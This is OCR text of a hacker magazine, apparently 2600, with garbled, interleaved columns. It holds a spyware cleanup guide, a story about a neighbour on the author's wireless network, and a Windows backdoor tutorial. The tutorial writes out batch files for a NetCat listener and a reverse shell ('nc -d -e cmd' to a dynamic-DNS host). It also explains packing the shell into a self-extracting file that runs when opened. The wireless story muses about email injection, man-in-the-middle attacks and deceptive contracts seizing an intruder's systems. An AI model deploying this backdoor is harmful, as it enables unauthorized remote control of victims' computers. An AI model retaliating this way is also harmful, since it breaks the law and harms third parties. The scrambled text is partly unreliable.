much better than before , you need to put up a 
permanent block so that they won' t  come back .  
A big part of the  reason why you  got  spy-ware 
and ad-ware i n  the first p lace is because you 
weren ' t  protected . Fol low these steps to bu i ld  a 
strong block to that junk :  

S&D TeaTimer 
Part of the program you down loaded before 

(SpyBot Search & Destroy) has a feature called 
TeaTimer that w i l l  act ive ly monitor your system 
preferences . Enab l ing this feature w i l l  prompt 
you when these programs are try ing to change 
th ings l i ke the home page and adding itself to 
the system startup  l is t .  

This i s  an optional component that  should be 
i nstal led wi th  SpyBot S&D . I t ' s  not part of the 
default i nstal l  so you must se lect  i t  dur ing the 
i n stal lat ion of S&D otherw i se i t  won't  work . 

Spy Ware Guard and SpyWare Blaster 
wwwjavacoolsoftware.com 

Two more active moni tors of the system 
preferences .  They basical l y  have the same abi l ­
i t y  a s  t h e  TeaTimer except I have found that re­
dundancy is the best pol icy when deal ing  w i th 
th i s  free software . Some th ings that manage to 
s l i p  by the fi rst b lock w i l l  be p icked up by the 
second.  

msconfig .exe . Then reboot and you shoul d  have Pop Up Stopper Free Edition 
access to the cd-rom . www.panicware.com 

This is i mportant :  You must  run the removal Thi s  free tool k i l l s  a l l  those annoying win-
software wh i l e  the  program i sn ' t  runn ing  be- dows tha t  pop up when you are surfing or w� 
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you leave the computer for a wh i l e .  Download 
and i nstal l and let it do the work . 

MSN Pop Up Stopping Toolbar 
www.msn.com 

Another method to block those annoy ing 
pop-ups . Remember, two i s  better than one in 
th i s  cyber war to keep your mach ine c lean . 

ZoneAlarm Firewall 
www.ZoneLabs.com 

The connection you have to the I nternet con­
tains many doors of acces s .  A firewa l l  puts a 
lock on a l l  the unused doors so an i ntruder can't  
jus t  walk i n .  Also, i t  moni tors a l l  the doors you 
do use so an attacker can't  come i n  there e ither. 

Windows Critical Updates 
and Service Packs 

No matter what operating system you have 
or what condi t ion the computer is in you should 
have a l l  the avai l ab le  updates and serv ice packs 
i nstal led . Most of these updates would have 
prevented the problem in  the fi rst  p lace if they 

were i nsta l led .  To download them open I n ternet 
Explorer, then on the fi le  menu c l i ck  Too l s ,  then 
Windows U pdate . Th i s  w i l l  bring you to the 
Windows U pdate web page so an I n ternet con­
nection i s  needed . Download and i nstal l all of 
the cr i t ical updates and service packs .  Th i s  
might requ i re more than o n e  reboot after a com­
ponent has been updated . 

These t ips should keep your computer run ­
n i ng better and  c lean for now - un t i l  t he  nex t  se­
curity hole i s  uncovered .  A few th ings to 
remember: These new mon i toring programs are 
going to prompt you for every system change . 
Read what it i s  tel l ing you and decide what to 
do .  If you are i nstal l ing/uninstall ing someth ing 
or performing some other sys tem maintenance 
it i s  a good idea to temporar i l y  d isable the mon­
i toring software so you don't get prompted a 
hundred t imes . 

:,rackinw 
Wireless Neig 

by Sam Nitzberg 
sam@iamsam.com 

http://wwwjamsam.com 
I had an un inv i ted v i s i tor on my LAN w ith a 

w ireless access poi n t .  One of my neighbors had 
dec ided to become an i ntruder. This  is the 
story . . . .  

My  v iew for t h i s  i s  d ifferent than S h i v  Polar­
i ty 's  in the Fal l 2003 issue of 2600, which I en­
joyed . Shiv Polarity ' S  focus i s  on explorat ion 
and d i scovery of w i reless network s ,  as wel l  as 
gain ing  access . My focus i s  knowing that you 
may have a security hole in your wireless net­
work (or security vu lnerab i l i t ies  that you don't 
even know about) , how do you detect and ad­
dress un inv i ted v i s i tors on your network? 

M y  home network is grow ing .  I have a 
"c loset-based " network . I have a cable modem 
feed in to my closet .  I have put together a 
h ighly-mob i l e ,  notebook-based env ironment ,  
and  have  been adding some app l iance-s ized 
systems that I w i l l  use in  the near future - for 
runn ing L inux , act ing as various servers , and as 
systems to use for computer security test s .  

T h e  Environment 

router, which provides w i reless connecti v ity to 
the I n ternet . In the closet ,  I have a Panason ic  
Toughbook (384  M B  of RAM) act ing as a data­
base system ,  wi th a 1 00 GB drive in an exter­
na l ly  powered USB enc losure (w i th its own 
on-off swi tch ) ,  so that i t  i s  a l so my fi le  server. 
When I do not need to use or retrieve data , th i s  
drive i s  phys ical l y  powered off. S ince th i s  drive 
cannot be powered back on except by use of i ts  
power swi tch (no soft sw itch) ,  anyone penetrat­
ing the network or system w i l l  not have access 
to the data . I am also addi ng a separate com­
puter to be used as a dedicated file server. I h ave 
a Fuj i tsu B-c lass notebook (h igh ly  portable)  
wi th  m y  L inux-based security tool s ,  as wel l  as 
another Fuj i tsu B notebook wi th  my Windows­
based security too l s .  I have set up each of these 
systems to run VNC (a mul t ip latform , open­
source , remote control system to let me re­
motely  and wireless ly use these systems ;  get 
and read about it at http ://www.rea lvnc .org) and 
the Fuj i tsu runn ing L i nux  accepts only S S H  
connect ion s ,  u n t i l  I manual l y  i nvoke t h e  VNC 
server. I a lso have some Compaq/H P  i PAQ.  
PDAs (Personal D ig i tal Ass i stants - handheld 
PCs ) ,  two of which have 802 . 1 1 b w i reless capa­
b i l i t ies . One has an expansion PCMCIA card 

I The cable modem feeds in to a L inkSys � . 1 1 b w i re less  combinat ion access point  and 
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s leeve , loaded with an Orinono gold S02 . l l b 
w i reless card , and a l so with a Toshiba 5GB 
PCMCIA drive card . I a l so  use  th i s  i PAQ sys­
tem on occas ion as a w i reless (and portable) fi le 
server ( i t  i s  runn ing  the " fami l iar" d i stribut ion 
of L inux) .  I have one or two other systems on 
the network not worth mention ing .  My plans 
are also to add w i reless computer-based v ideo 
surve i l l ance capab i l i ty (which I have used suc­
cessfu l l y  before - check out superv i s ioncam . 
"'com for an excel lent  product i n  th i s  arena) , a 
dedicated f

i
le server, and fi rewal l s  (to protect 

and control informat ion flow i n to and out of the 
network from the In ternet , and to also offer s im­
i l ar protect ion to and from the  w i reless access 
poi nt) . A lso ,  I have jus t  added a dedicated 
system for fu l l - t ime network moni toring (wi th  
Snort , Etherape - a graphical network moni tor 
(http ://etherape .sourceforge .net/) , and other 
intrus ion detection tool s ) .  

I had been runn i ng w i t h  1 2S-b i t  W E P  secu­
rity, us ing two notebooks to remote ly obta in  
serv ice from the  three systems runn i ng i n  the 
c loset and for w i reless In ternet access . I know 
that WEP i s  very far from perfect , but i t  beats 
hav ing no crypto l i nk  at a l l . I have also been us­
ing  some , but not a l l  of the security features on 
my systems .  I have also used Network Stumbler 

for i mprov ing security ( s l ight ly)  i s  to go with 
the oppos i te approach - software-setting the 
wireless access point to use less power (to rad i ­
ate a smal ler s ignal profi le) , to l i m i t  neighbors' 
and w i reless war-drivers' access to the device .  
Us ing antennas that  are less effic ient i s  s l ight ly 
awkward but could ach ieve a s im i lar effect .  E i ­
ther approach m ight take some experimentation 
to fi nd a balance of effective transmi tted power 
versus the d i stance at which a v iable s ignal l i nk  
can  be maintai ned . I asked Li nksys about set­
t ing the w i reless router to transmi t  on lower 
power (I understand that the power is software 
settable) , but they would on ly recommend WEP 
security. 

Other methods to better defend a network 
inc lude segregating networks - us ing w i reless 
access points w i th i ntegrated fi rewal l  mecha­
n i sms ,  or separate access points and a combina­
tion of routers and firewal l s  to carefu l l y  restrict 
access both to and from your i nternal net­
work(s)  , as wel l  as to the Internet .  These "en­
terpr ise" security features and topologies can 
also be brought i n to smal l home networks .  If 
you are on a budget ,  you can look i n to L inux­
based routers and fi rewal l s  as a start ing point ;  
these also run wel l  on re lat ively modest hard-
ware . 

(http://www.netstumbler.com) which hasn ' t  re- The Discovery 
vealed anyone e l se runn ing  an access point  in I l i ke log fi les .  When a l l  goes wel l ,  they can 
the v ic i n i ty .  I also have been using a small as- be boring .  They can also be boring i f  th ings are 
sortment of network logg ing and monitoring going badly  and you don't know what to look 
tools .  for i n  them.  For fun ,  I was look ing a t  my 

The Opening L inksys router DHCP tab le .  Th i s  table shows a l l  
I had been hav ing  in terrupt ions i n  w i reless computers that have recent ly accessed the net-

access from the two l aptops that I have been us- work through the router ( i n  th i s  case i t  shows a l l  
i ng  to access the I n ternet and these c losct-bascd w i reless ly establ i shed connect ion s ,  as wel l  as 
systems .  A cal l to Linksys prov ided me with ident i fy ing systems plugged i n  through the 
some adv ice - drop from 1 2S-b i t  WEP down to 10/ 1 00 M bps Ethernet jacks in the back of the 
64-b i t  or no WEP encryption . It seems that I router) . What d id I f ind? In addi t ion to the sys-
was runn ing too many appl icat ions ;  the proces- terns that I had been us ing was a new system -
sor was not able to do th i s  and st i l l  properly which was shown to be access ing the Internet 
communicate w i th the PCMCIA w i reless card . v ia  w i reless access ,  as wel l  as revea l ing my in ­
Was there a fundamental problem w i th the  sys - ternal network address that DHCP was  ass ign-
tern properly needing to pump the PCMCIA ing him to .  I a lso had i ts  MAC address , which 
card or was the problem total l y  unre lated? I can be u sed to determine the brand of w i reless 
don't know for certai n  what the underly ing  access card tha t  was  be ing  used ( th i s  wou ld  be  
problem was , but  I am go ing  to experiment reported to me later by Nessus ,  as wel l ) .  I 
more wi th  WEP and runn ing  various appl ica- checked al l of my dev ices (w i reless cards usu­
t ions .  However, wi thout runn ing  WEP, my note- a l ly  have the MAC address pr inted right on 
book has been runn ing  fine w i reless ly .  I know them) - none of them had the w i reless address 
from Netstumbler that nobody i s  runn ing  an- match ing this mach ine 's  address that appeared 
other access point  in the i mmediate v ic in i ty,  but i n  the router. Hmmmmm . . .  
t h i s  still i sn ' t  t h e  best way t o  r u n  a computer net- I checked t h e  Linksys w i reless router's l ogs .  
work - even at home . They are not extremely detai led , but  they do 

People often want to run their  w i reless ac- hel p .  My bu i l t - i n  router log records revealed 
cess point  transmitters at h igher powers or wi th  both i ncoming and outgoing I P  addresses , and 
b igger antennas . One method that I cons idered the webs i tes and I n ternet addresses that they 
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have accessed , but l ittle more than that . I could phy, and my database/fi l eserver system had i ts  
account for a ll  records ,  except for accesses be- external USB drive shut off almost a l l  of the 
ing made to Microsoft's Passport .net service t ime - i t  had only been on when I was using i t .  
( not someth ing I use) , and  an e-mail  server. Whi l e  p laying w ith my neighbor, I would keep 

I started runn ing  Snort (http : //www.snort thi s  shut off. None of my systems would carry 
... org) , a free network sn iffing  too l , to record any data for a whi le  . . . .  N ote that with this exter­
a l l  traffic to and from my i ntruder. I ran thi s  on nal drive ,  I don't mean that I have spun the drive 
the notebook runn ing  Linux that was p lugged down , nor shut it off via software . The drive i s  
into the back (the hub) o f  my Linksys w i reless externa l ly  powered and has an external power 
access point .  Processor throughput fortunately switch ,  with no software-based starting mecha­
isn 't a problem here . S ince the neighbor was us- n i sm (soft switch ) .  Bes ides these measures ,  
ing my w i re less  access point ,  h i s  bandwidth there are also removable  media backups of al l 
was l im i ted to roughly  I OMbps , and I coul d  o f  my critical data a n d  files . 
throttle thi s  down by changing the access set- For extra safety for your stored fi le s ,  you can 
t ings to l imi t  him to 3Mbps or less. There were use e i ther PGP (I have a lways had a softness i n  
n o  bui l t - in  fi l ters t o  record traffic based o n  my heart for the I nternational PGP versions) -
MAC addresses (un ique to each wireless card ) ,  avai lable from http : //www.pgpi.org/ , or you can 
so I watched , and when the DHCP address also select the open-source Gnu Privacy Guard 
changed for the system,  I changed my snort fi l - (GPG , available from http : //www.gnupg .org/) . 
tering ru les . There are more effic ient ways of While both of these programs are known for 
dea l ing wi th th i s  - changing the frequency with thei r  public key cryptography for encrypting e­
which DHCP tables  are refreshed , using static mai l s ,  both of these programs can also be used 
IP addresses for your systems ,  and using more wi th passwords to local l y  encrypt fi les  to a pass­
narrowly focused tool s .  You can also read about word . 
the Wireless  Snort project (http : //snort-wire I started a manual log . I started recording 
.. Iess .org/) . when the v i s i torl intruder appeared i n  my DHCP 

There are mult ip le internal I P  addresses that logs , the IP addresses accessed, MAC address , 
I have been using and have been runn i ng with and other note s .  Later, th i s  w i l l  a lso help you 
dynamic IP assignment. That's changing - I am see patterns i n  access and u sage . Natural ly ,  you 
p lann ing  to segregate my internal namespace to don't want this to be something that your in ­
make correlation of I P  addresses-to-systems truder can access . An  ideal method of logging i s  
easier. I t  w i l l  a l so make i t  easier for m e  t o  run to record such information on an older notebook 
scripts to automatical l y  identify and scan any computer that you don't connect to your net­
new systems coming onto my network . work . You may even wish to run a separate , in -

I d idn ' t  have a spreadsheet of my system ternal , private network - even at home , to 
names and their MAC addresses assoc iated with segregate your key data . 
each network or wire less  card . I wouldn't want What Happened Next? 
to presume that any computer on my network I was able to witness logs of my intruder on  
i sn ' t  who l ly  m ine .  So ,  I fel t  free to  start scan- a number of occas ion s .  Nothing specia l  - unfor­
n i ng . . . .  Bes ides , once I confirmed that this sys- tunate ly  h is  e-mail was accessed by an en­
tern didn't belong on my network , I m ight face crypted session , so I didn 't  have the option of 
l iabi l i ty if I even pinged i t .  Yes ,  it sounds stupid ,  fol lowing through with some creative options .  
but I wouldn't want t o  be accused o f  having For example ,  if the intruder were e-mail i ng  h i s  
unauthorized access to  a system , even  whi le  it 's g ir lfriend or business associates ,  I could have 
not authorized to be on my network . contacted them directly and asked that he stop 

The Game us ing my network to estab l i sh  h i s message traf-
The easy and prudent thing to do woul d  be fic o  I could have also i njected my own messages 

to c lamp down on the security : Immediatel y  put in his e-mai ls ( " man- in-the-middle" attacks  
up a firewal l ,  and put  i n  the very latest patches .  wou ld  have  just been one possible method to 
Th i s  would add some security. Some wou ld  ad- employ.) There are many creat ive possibi l it ies -
v i se ditching the Windows p latform entire ly .  use your i magination . 
Pu l l  out unneeded services and modules . This M y  v i s itor came back on my network with 
would a l l  be prudent ,  qu ick ,  and relat ively pain- another system and a l so accessed a few web­
les s .  But it wouldn't be any fun ,  and I wouldn't sites . The general usage pattern hadn't changed 
learn anyth i ng .  too drastical ly .  By checking my l ogs , I could 

Some things were OK for my system's  secu- see s im i l arities and patterns in usage . However, 
rity. Some of my key fi les are encrypted with the second system had a better security profi le  
PG P's private key ( "conventional " )  cryptogra- and was set up to use the I S A K M P  ( Internet Se-
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curity Assoc iation and Key Management Proto­
col )  for secure v i rtual private network ing .  

M issed Opportunities 
My intruder had a n umber of intrus ion op­

portunit ies avai l ab le .  My i PAQ handheld was 
only access ible wirelessly via S S H .  Once a root 
S S H  session was estab l i shed , I would enable 
Samba filesharing  (take a look at http ://www. 
"'samba.org for more information on th i s  open­
source effort that provides Windows networked 
fi lesharing for L inux  and U n i x  p latforms) to use 
my i PAQ as a portab le ,  handheld fi l e  server. I 
d id  l eave thi s  open for routine periods on pur­
pose . My i PAQ S S H  configuration was subject 
to predictable packet sequence ID attacks , 
which could a l low an intruder to determine the 
upcoming packet sequence i n  " secure "  commu­
n ication s ,  and terminate and take over an I P  ses­
s ion , or commit other actions . Two of my other 
mach ines were runn ing  VNC servers on occa­
sion (whenever I manual ly  invoked VNC on 
these systems) - but these systems were never 
probed . I had some security and routine patches 
on  my machines , but left them open for now to 
faci l i tate potential in trus ions unti l I deemed my 
l i tt le experiment with my neighbor over. I even 
reset the router to its defaul t  password . This 
password i s  well documented and the router 
could also serve as a l ure to gauge the neigh­
bor 's degree of interest i n  my network . 

I ran nmap ( Network Mapper - free open 
source ut i l ity for network explorat ion or secu­
rity audit ing) and Nessus against my own sys­
tem s  so that I would know what he would  see if 
he attempted to probe my systems .  If you are in ­
terested i n  l earn ing more about these network 
exploration and vu lnerab i l ity scann ing tool s  
and obtaining them (they are free) , g o  to 
http : //www.insecure .org and http : //www.nes 
... sus .org . My logs and account h i stories 
showed no s igns of funny busi ness , but I 
wanted to know which services and capab i l i t ies 
I h ad that could be exploited,  as wel l  as how -
also to determ ine if any addit ional serv ices or 
fileshares had been created . I didn 't  want to re­
a l ly  c lose off anything - I just  wanted to be 
aware of how my systems could be abused and 
to be in a position to monitor any attempts to 
take these systems over, or manipu late them.  I 
h ad orig inal  rep lacement media  to rebu i l d  any 
system and my personal (and any business data) 
was safely on my external drive that was pow­
ered off. A nyth ing  that I rea l ly  needed to do 
could be done by my tak ing  the hard drive off of 
the server, and e i ther throwing i t  onto my net­
work without the wireless card , and us ing i t  off 
l ine  - or us ing it local ly on notebooks or other 
networks .  

I left my systems as they were , but took ad­
dit ional steps to fac i l i tate some basic mon itor­
ing .  One key change that I made i mmediate ly 
was to take extra steps to protect my shared 
fi les . The database system al so doubles as a fi le  
server - I am us ing  a 100 GB drive i n  a USB en­
c losure .  I physical ly powered that device off for 
the duration of my "experiment . "  

Some F u n  Options 
Change name of the network - was Dork­

master ( in honor of the National Computer Se­
curity Center's Dockmaster system) . I 
cons idered changing the name (any change of 
the l etter " 0 " to any other vowel would have 
been fun) .  See how long it takes for the neigh­
bor to , and how. 

There have been many stories of compan ies 
that have had their networks penetrated that 
have been sent e-mai l  suggesting  that they im­
prove thei r  security, sometimes w ith spec i fic  
recommendation s ,  and somet imes even with 
threats .  There have also been many times that 
someone penetrated a system or network , and 
then they have been afra id  to report i t  for fear 
that they would be traced and prosecuted . Whi le  
not  a perfect solution to  th i s  problem , I am sug­
gest ing the creation of a writab le ,  publ ic ly 
shared fi le  with an " unauthorized user access 
form . "  Thi s  form would have spaces for any po­
tent ia l  in truder to fi l l  i n ,  complete with their 
name or handle ,  method of attacking the net­
work or otherwi se c i rcumventing security, and 
whether they th ink that they left any traces . The 
form would spec i fical ly  not grant perm i ss ions 
to the user - after al l ,  i t 's an unauthorized user 
form , but would provide an add it ional feedback 
report ing mechan i s m .  If  noth ing e l se ,  it m ight 
give an un inv i ted v i s itor a l augh . 

With some bas ic  scripting ,  you can ident ify 
any strange or unwe lcome IP connections on 
your network . A program cal led tod ( " touch of 
death " )  can be used to k i l l l P  connections - look 
it  up. With tod and a l i tt le more scripting ,  you 
can k i l l  any of these connections .  Actual ly ,  that 
would make i t  too easy for anyone intrud ing on 
your networks ,  and may make your counter­
measures obviou s ,  if not (almost) pedestrian . I 
enjoy us ing random ization in the use of such 
too l s .  If you are going to kick someone off your 
system,  do not do it cvcry five m inutes , or every 
1 5  m i n utes prec i se ly  - mix  it up .  Work i nto the 
time frames that you commit  act ions to annoy 
or frustrate the intruder such factors as the 
weather (you can pu l l  weather data otf of the 
web ) ,  the value of p i , the day of the week ,  the 
temperature in any of the world ' s  grcat c i t ies 
(access ib le automatical ly w i th some scripting 
and the use of the web ] , and random numbers . 
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Besides , if you are asked to expla in what ac­
t ions you have taken , i t  makes the explanations 
much more enterta in ing .  You can also look at 
your logs , and watch or monitor how your in­
truder reacts every t ime he i s  k icked off the net­
work . For more fun ,  do not mere ly  k ick him off. 
Force h i m  in to segregated subnets w i th l i m i ted 
option s ,  make addi t ional fi les (crafted for h im)  
avai l able for h i s  v i ew ing ,  etc . You can  al ways 
leave a message that he "is not worthy . "  I f  you 
have ident i fied h i m ,  you may even leave a pho­
tograph i f  you can fi nd a d ig i tal image of h i m .  

Foxhunt 
In amateur radio  (or in certai n  govern ment 

c i rc les ) ,  a " foxhunt"  i s  a method used for track­
ing the operat ion of a transmi tter or rad io ,  espe­
c ial l y  one that i s  operating covert ly .  There are a 
number of methods that can be used : rad io d i ­
rection fi nding gear can be employed . M u lt ip le  
strength readi ngs from mul t ip le  locat ions can 
also be used to determine the source of rad io 
s ignal s .  Present ly ,  there are a number of pro­
grams and opt ions for fi nding and ident ify ing 
w i reless access points . A program for a hand­
held PC that could give the strength of not the 
access point but the connect ing party, based for 
example on i nternal I P  address or MAC ad­
dress ,  would be an ideal tool . Th i s  could be 
used by an ind iv idual wa lk ing away from an ac­
cess poi n t ,  and us ing a " sweeping"  pattern wi th 
the handheld PC to fol low the s ignal to the con­
nect ing party. Walk ing w i th such a handheld PC 
could qu ick ly  track down connect ing part ies to 
a w i reless network . 

These connections were not the resu l t  of a 
novice user i nnocent ly tr ipping onto my w i re­
less LA N .  Over a period of t ime ,  I was able to 
w i tness some of the wehs i tes be ing accessed 
(from my router logs) , as wel l  as h i s  system be­
ing made more secure over a period of t ime 
(through the use of my assessment tool s and 
their  logs ) .  A l so ,  the use of NetStumbler 
showed that there had been no acti ve w i reless 
access point  i n  the v ic in ity, even before h i s  
presence on my network . He wasn't  connect ing 
to my net by m i stake . 

I have a good idea who my i ntruder i s .  R ight 
now, the security i s  about what i t  should be and 
my " friend"  hasn ' t  been appearing .  I watched 
some usage patterns over t ime ,  and am aware of 
the people  who (genera l ly )  are in a reasonable 
prox im i ty and have been around during the sys­
tem's  accesses . I am not naming the person ( I  do 
have access to system and domai n  names ) .  At  
some t ime i n  the future ,  I may set  up a w i reless 
honeypot for fun .  I wonder how long i t  w i l l  take 
for a reconnection attempt .  

Disappointments 
My di sappointment was not in having a v i s i ­

to r  us ing my w i reless access po in t .  I had a real ly  
great excuse to run nmap , Nessus ,  and snort . 
M y  d i sappointment i s  that my v i s i tor did just  
what most  m in ima l ly  tech-savvy bus iness trav­
elers do when trave l ing w i th a notebook , w i re­
less card , and fleet ing sense of glory - he just 
found a freely  avai lable access point  to treat as a 
w i reless hotspot wi th  which to receive e-mai l  
and to use VPN connect i v i ty .  

Part of  my d i sappo in tment i s  tha t  my neigh­
bor wasn ' t  more i nterest in g .  M S  Passport and e­
mai l  accessed v ia  port 443 . Just  blather on my 
network . Some VPN traffi c .  Boring .  At  l east he 
looked up RoadRunner's DSL I n ternet serv ice .  
M aybe he was  th ink ing  of buy ing h i s  own ser­
v ice .  A l so ,  I am presuming that it was a "he "  -
my area i sn ' t  known for having a l arge popu la­
t ion of H acker Ch icks .  

The person who connected to my network 
made some m i stakes . F i rst ly ,  and most i mpor­
tant ly ,  I bel ieve that he has exposed h i s  corpo­
rate enterprise network to harm . He is us ing 
ISAKM P for VPN access ,  and he used en­
crypted mechan i sms for access ing h i s  e-mai l .  
However, I ident i fied the unauthorized systems 
on my network as having a number of vul nera­
b i l i t ies  (al though the second system has a much 
more secure overal l posture) . He  also revealed 
h i mself by us ing a workgroup name that I don't 
usc. My t ip-off was the resu l t  of a Nessus scan 
agai nst his mach ines ,  but the presence of h i s  
workgroup being i ntroduced t o  my network was 
read i ly  v i s ib le  as soon as I l ooked for i t  on one 
of  my Windows systems via the Network 
Neighborhood . Should I have chosen to explo i t  
h is  i n trud ing systems ,  the VPN protect ions -
and any private networks he is access ing - cou ld 
also have been subverted . His  boss shouldn ' t  be 
happy w i th h i m .  Perhaps h i s  company should 
have a pol icy against  using networks w i thout 
proper authorizat ion when access ing corporate 
asset s .  

A lso ,  there were opportun i t ies to  for my  
neighbor to attempt to  explo i t  S S H  holes , the 
router i tself,  VNC, and other serv ices . I used 
whatever opportun i ties presented themselves to 
scan and mon i tor suspected i ntrus ions to my 
network . I p icked up a l i t t le experience wi th  
some n ice too l s ,  but would have enjoyed the op­
portun i ty to scan more systems (if there were a 
h igher and more varied rate of i n trus ion ) ,  as 
we l l  as more t ime for me to develop scri pts to 
automatical ly  and select ive ly scan any new sys­
tems that were unfam i l iar to me . 

Conclusions 
There are a number of extra steps that can be 

taken to further protect your systems .  Some of 
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steps are more procedural than technica l . I 
am not a l awyer, but apparent ly c l i ck-through 
software and usage contracts are enforceable .  
One  approach to  expand ing your  options should 
someone attempt to connect to your network 
wou ld be to fi rst have them c l ick-through 
" sp lash"  screens .  Bring up  a statement that they 
may use your technica l  systems for throughput 
connect iv ity only. A l so ,  that this w i l l  cost them 
US $ 1 000 per connection wi th a one-hour dura­
t ion max imum,  that they are respons ib le  for 
such usage , and that no guarantees are rendered 
or imp l ied on your part . If you figure out who i s  
connecting ,  they  wi l l  have  fun when you send 
them a b i l l ,  and when they are sent a notice to 
appear i n  court to pay you your access fees .  You 
are no l onger the owner of a v ic t imized network 
- you are an I S P  charg ing exorb i tant rates ! Be­
s ides , i f  they don't meet the i r  contractual obl ig­
ation s ,  you can always offer to them the opt ion 
of your pursu ing the cri m i nal charges for ac­
cess i ng your systems and networks wi thout au­
thorizat ion , and not worry ing about pursu ing 

" modest"  fees .  A more 

in terest ing approach might  be to have a web-en­
abled screen come up stat i ng that no perm is ­
s ion , imp l ic i t  or expressed , i s  granted , and that 
should the party attempt to further make use of 
your networks that they w i l l  provide compensa­
t ion in the amount of $500 per hour of your time 
that i s  necessary to invest igate and remedy thc 
state of your systems fol lowing their unautho­
rized use .  Further, they grant to you fu l l  and un­
fettered access rights to any of their systems 
(and connected networks) wi thout any l iab i l i ty 
to yourself .  M ake it a long " contract"  - what are 
the odds they w i l l  read the whole th ing ,  any­
way?  Perhaps you can work i n  some l anguage 
that they are accepting your otfer for " computer 
security serv ices"  against  their network - again , 
for substant ia l  rate s .  

The  real r i sk  when someone comes onto 
your network un inv i ted may not be that they 
w i l l  v io late your pri vacy and corrupt your sys­
tems ,  but that you may i nvade theirs , and cven 
send them a b i l l !  You may even be able to do it 
lega l ly .  

by David Dunn tempt ing to i n stal l a backdoor, that is) is that the 
Two things to mention before we beg in :  router acts as a one-way valve ,  and  wh i le  i t  w i ll 
( I )  The method I am describ ing here is i l le- al l ow connections to be estab l i shed by comput-

gal w ithout permiss ion from the party being ers on the in ternal network try ing  to reach the 
backdoored and i s  extremely easy to trace . If  outs ide, computers on the I n ternet cannot in i t i -
you use th is  aga ins t  anyone who woul d  prose- ate d i rect connections with computers i n s ide the 
cute you , you will be caught and conv icted . So network . For th i s  reason , i t  i s  necessary to cre-
don ' t .  ate a backdoor that  wi l l  attempt to reach us in -

(2)  A l l  of the  methods described i n  th i s  art i - stead of  one  tha t  w i l l  mere ly  run  i n  the 
cle (client ,  server, or both) can be recreated w i th background , await ing a connect ion . 
a lmost no changes on any L inux  mach ine us ing Part One: Setting Up Your Return Address 
the same too l s ,  but for the sake of t ime and the The idea here is that the backdoor you i nstal l 
popul arity of the Windows as , I ' m  on ly  going i s  going to contact you,  so the fi rst  th ing you 
to cover Windows 2000 and XP here . have to do is make yourself  ava i lab le  for con-

Network Address Translation: tac t .  A good way to do th i s  is by sett ing up an 
An Introduction account wi th a dynamic DNS serv ice l i ke no-

Network Address Trans lat ion (or NAT) is i p .com . There are several p laces l ike th i s  and 
extremely useful i n  today ' s  h igh-bandwidth en- most offer some type of free serv ice for do-
v i ronment .  Homes and bus i nesses connected to mains  that are just  a sub-domain  of their  own 
the I n ternet via cablemodem or D S L  can u se a (for example ,  yourname .no- ip .com) . Jus t  down-
router runn ing  N AT to connect mul t ip le  ma- load their update ut i l i ty and i n stal l i t  on your 
ch i nes to the Internet s imu l taneous ly  while st i l l  mach ine .  Whenever your I P  address changes , 
on ly  having to pay for one connection and one the DNS records for your domain w i l l  be auto-
external IP address .  matical l y  updated . 

The downside to th i s  (for anyone who is at- Once you've reg i stered your domain and 
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i t  forwarding  to your I P  address , i t ' s  t ime 
to set up the server that  w i  I I  I i sten for connec­
tions from your backdooL For the purposes of 
th i s  art ic le ,  I ' m  going to use port 1 05 1 5  for in ­
coming connect ion s ,  but  you can usc any port 
you l i ke .  

First ,  down load NetCat for Windows from 
http://www.atstake .com/research/tool s/ 
-network_ut i l i t i es!nc I I  nt .z ip and unz ip i t .  

Next , i n  t h e  same d irectory t o  w h i c h  y o u  u n ­
z ipped NetCat, create a new text fi l e ,  and cal l i t  
" server.bat " .  Th i s  file should  inc lude the 
fol lowing :  

@ ec h o  o f f  

c i s  

nC . exe - v  - v  -L - p  1 0 5 1 5  

R u n  th i s  new batch fi l e  and you should sec a 
new terminal  w indow that reads :  

l i s te n i n g  on [ 1 9 2 . 1 6 8 . 0 . 1 ]  1 0 5 1 5  • • .  

I n  th i s  example ,  1 92 . 1 68 .0 . 1  i s  the I P  ad­
dress of the mach ine that serveLbat is runn ing  
on . I f  you  are behind a router, you're go ing  to  
need to forward the  i ncoming port 1 05 1 5  on 
your  router to port 1 05 1 5  on the mach ine 
server.bat i s  runn i ng on . I f  you don' t  have a 
router and arc connected d irectly to the I n ternet .  
don' t  worry about i t ,  you're done . 

Part Two: Creating the Backdoor 
So now all that' s left is to create the back­

door that i s  going to s i t  on our target mach ine 
and connect to the server. 

by HOMA 
Th i s  art ic le  covers only the terrestrial forces 

(what i s  normal ly  cal led army) and not a ir  force 
or navy. 

The term Electronic  Warfare has ex i sted i n  
the  army for at least 60  years . bu t  i t  evol ved dra­
matical ly  on ly  in the last 25 . D ig i tal Warfare 
was a sub-department of EW but in the last 
e ight years i n  most countries (at least the ones 
that have the know-how) i t  i s  becoming a d iv i ­
s ion  i tself. 

We arc not going to bother w i th OW s i nce 
most of i ts  techn i4ues arc known to you . I t  is 
main ly  hack ing .  M aybe somet ime later. 

EW i s  separated in to two main categor ies , 

"'--p a g e  2 b ----------. 

Make another new text fi l e ,  and call i t  "back 
-door.bat" ,  and inc lude the fol lowing :  

@ e c h o  o f f  

echo You have been owned . 

nc -d -e cmd -t yourname . no-ip . com 1 0 5 1 5  

Basical ly ,  th i s  i s  te l l ing NetCat to ( 1 )  detach 
from the console and run i n  the background, (2)  
to execute the command "cmd" , (3 )  to  answer to  
te lnet  negot i at ion , and (4) to connect to your 
server at yourname .no-ip .com on port 1 05 1 5 .  

Part Three: Usage 
Copy the nC .exe and the backdooLbat fi les to 

a d irectory on the target mach ine and run back­
dooLbat . If everyth ing is working  correct ly ,  
you ' l l  now see a termi na l  w indow wi th  our 
friendly l i tt le " You have been owned . "  message 
d i sp layed . Feel free to c lose thi s  w indow. 

When you return to the server mach ine ,  you 
shoul d  now sec somethi ng  to the effect of: 

l i s tening on [ 1 9 2 . 1 6 8 . 0 . 1 1  1 0 5 1 5  . . .  

connect to [ 1 9 2 . 1 6 8 . 0 . 1 J  from hostname 

- [ 1 9 2 . 1 6 8 . 0 . 2 ]  1 0 1 7 9  

Microsoft Windows 2 0 0 0  [ Vers ion 5 . 0 0 . 2 1 9 5 J 

( C )  Copyright 1 9 8 5 - 2 0 0 0  Microsoft Corp . 

C :  \backdoor \ >  

Congratul at ions ,  you're in .  I f  you 'd  l ike to  
make the backdoor a l i tt le  easier to di stribute . 
you can compress backdoor.bat and nC .exe i n  a 
z ip fi le and use it to create a self-extract ing ti le  
that  wi l l  execute the backdoor.bat program 
when opened . 

Shoutz. to Mr. B Clndjeste l 2 .  

Pass ive and Active . A l though both are real l y  
